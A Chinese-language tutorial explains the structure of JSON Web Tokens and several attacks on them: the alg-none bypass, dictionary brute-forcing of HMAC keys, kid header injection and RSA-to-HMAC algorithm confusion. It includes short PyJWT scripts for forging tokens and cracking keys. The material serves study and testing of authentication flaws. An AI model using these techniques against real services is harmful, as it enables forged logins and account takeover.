针对 JWT 的几种攻击方法
参考文章
JWT(Json Web Token)认证
Json Web Token 2020 攻击指南
前置知识
Json Web Token。是在完成身份验证之后,服务器生成的一个 JSON 对象并将其加密后返回给用户形如 xxxx.xxxxx.xxxxx
的一串字符
之后,客户端与服务器之间的通信便可依靠该字符串来做身份验证,通常 JWT 存放在 cookie 或者其他请求头中。
JWT 由三部分构成,header(头部,示意签名使用的算法)、payload(载荷,存储有效数据)和 signature(签名,校验数据有效性)
- 头部
通常由形如如下 json 数据经过 Base64URL 加密算法生成
{
"alg": "HS256",
"typ": "JWT"
}
其中,alg 表示后续签名部分使用的加密算法,一般有
alg | 代表的算法 |
---|---|
HS256 | HAMC_HASH-256 |
HS384 | HAMC_HASH-384 |
HS512 | HAMC_HASH-512 |
RS256 | RSASSA_HASH-256 |
RS384 | RSASSA_HASH-384 |
RS512 | RSASSA_HASH-512 |
ES256 | ECDSA_P-256 + HASH-256 |
ES384 | ECDSA_P-384 + HASH-384 |
ES512 | ECDSA_P-512 + HASH-512 |
none | 不使用 |
typ 表示数据类型 |
其中 Base64URL 算法:数据经过 Base64 加密后将结果中的=
去掉,+
用-
替换,/
用_
替换
- 载荷
包含需要传递的数据,通常由形如如下 json 数据经过 Base64URL 加密算法生成:
{
"iss": "发行人",
"iat": "发布时间",
"nbf": "有效时间起点",
"exp": "到期时间",
"sub": "主题",
"aud": "用户",
"jti": "JWT ID用于标识该JWT",
"xxxxx": "自定义字段内容"
}
- 签名
该部分是对 头部、载荷 两部分数据通过头部中指定的算法生成哈希结果,用于保数据不会被篡改,一般未经过 Base64URL 加密,可选
比如说,头部中 alg 值为 HS256,则生成前面的算法为:
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload),密钥)
JWT 与 cookie、session、token 有什么区别可以看这里
可能存在的问题
签名校验问题
- 后端未对签名 signature 做校验,故可直接篡改载荷 payload 内容,并可一并删除 singature 签名字段来尝试绕过签名校验
- 将 alg 值置为 none,若服务器支持 none 算法,便可绕过签名校验
import jwt
print(jwt.encode({"xxx":"xxx"}, key="", algorithm="none"))
将生成的 jwt 字符串(可删除结尾的.
) 替换原有的字符串测试即可
弱密钥暴力破解
当 alg 值为 HMAC 类对称加密算法时,可以针对密钥进行暴力破解
网上的脚本:
import jwt
jwt_json='jwt 数据'
with open('dict.txt',encoding='utf-8') as f: # 传入字典
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') # 指定对称加密算法
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")
kid 指定攻击
kid 即为 key ID ,存在于 jwt header 头部中,是一个可选的字段,用来指定加密算法的密钥
{
"alg": "HS256",
"typ": "JWT",
"kid": "xxx"
}
通过在头部注入新的 kid 字段,并指定 HS256 算法的 key 密钥为 xxx
,生成新的 jwt 数据
import jwt
jwt.encode({"xxx":"xxx"},key="xxx",algorithm='HS256',headers={"kid":"xxx"})
若服务器并未对 header 头部做限制,那么程序将会按照 header 中指定的密钥进行校验,从而通过签名校验
非对称加密算法转对称加密算法
当 header 头部指定签名算法为 RSA 非对称加密算法时,可以替换为 HMAC 对称加密算法,并且通过获取到的公钥重新做签名
服务器在签名校验时便可能会使用公钥做校验